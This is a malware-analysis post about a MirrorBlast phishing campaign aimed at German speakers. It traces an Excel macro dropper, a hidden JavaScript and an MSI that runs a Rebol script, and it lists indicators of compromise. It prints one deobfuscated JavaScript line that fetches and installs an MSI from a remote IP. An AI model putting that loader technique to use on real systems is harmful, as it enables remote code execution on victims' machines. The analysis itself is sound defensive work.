MirrorBlast malware is a trojan that is known for attacking users’ browsers. It usually pretends to be a legitimate browser add-on however it has now evolved additional capabilities, whereby other malwares are installed simultaneously.  Recently, this trojan is thought to have tentative links to TA505 and PYSA groups.

Just last week, a new MirrorBlast phishing campaign focusing on German-speaking countries was discovered. A malicious Microsoft Excel file named “Bericht(entwurf).xls”, which translates to “Report (draft)”, was found to be used as a dropper of the MirrorBlast trojan. The Excel file requests the user to “Enable Content” which ultimately activates the macro embedded within the file:

Once the content is enabled, an Auto_Open macro is executed. The macro executes a JavaScript stored in the first cell of the sheet:

In the sample above, no anti-sandbox checks were included in the macro, however several sources reported a different script that did contain these checks.

To see the JavaScript hidden in cell A1, a requirement was to move the picture. This wasn’t possible as the sheet was password protected:

This obstacle can be easily bypassed for example, by using the script found here.

Below is the hidden malicious JavaScript:

Once deobfuscated, the JavaScript is: “with(new Activexobject(“”WindowsInstaller.Installer””)){UILevel=2;InstallProduct)””http://5.189.222[.]161″”)}”.  It directly downloads a “load.msi” file from 5.189.222[.]161.

The .msi installs Rebol-View software (a legitimate software) and executes a script encrypted with base64. Here is how it looks after decryption:

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The script collects data and communicates with the C&C server using the Rebol-View tool.

REBOL is a “multi-paradigm dynamic programming language” that was designed to be used for network communications and distributed computing. It is multi-platform, can run on any operating system (OS), and it introduced the idea of dialecting —small, optimized, domain-specific languages for code and data.

It can be used to program internet applications (client and server-side), database applications, utilities, and multimedia applications.

It is important to mention that REBOL itself is not a malicious program. It has been used for many legitimate operations. Recently this tool was used as a C&C environment in several attacks, more information can be found here.


At the time of writing, the malicious excel file had only been found by five AV engines.

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http://feristoaul[.]com  – C&C server


Bericht(entwurf).xls  – 7904e73defa12c220cdc04d059cfc8acf3ae96dad41c7bb26381f076f17004cf

load.msi – eceb164a69e8f79bb08099fcdf2b75071c527b0107daebc0e7a88e246b4c7f13

exemple.rb – 9c109c41d497cbe752edf56c1ac0e1ffb06357160b12100cc84eb2d4ddcb7b13

rebol-view-278-3-1.exe – 215e28f9660472b6271a9902573c9d190e4d7ccca33fcf8d6054941d52a3ab85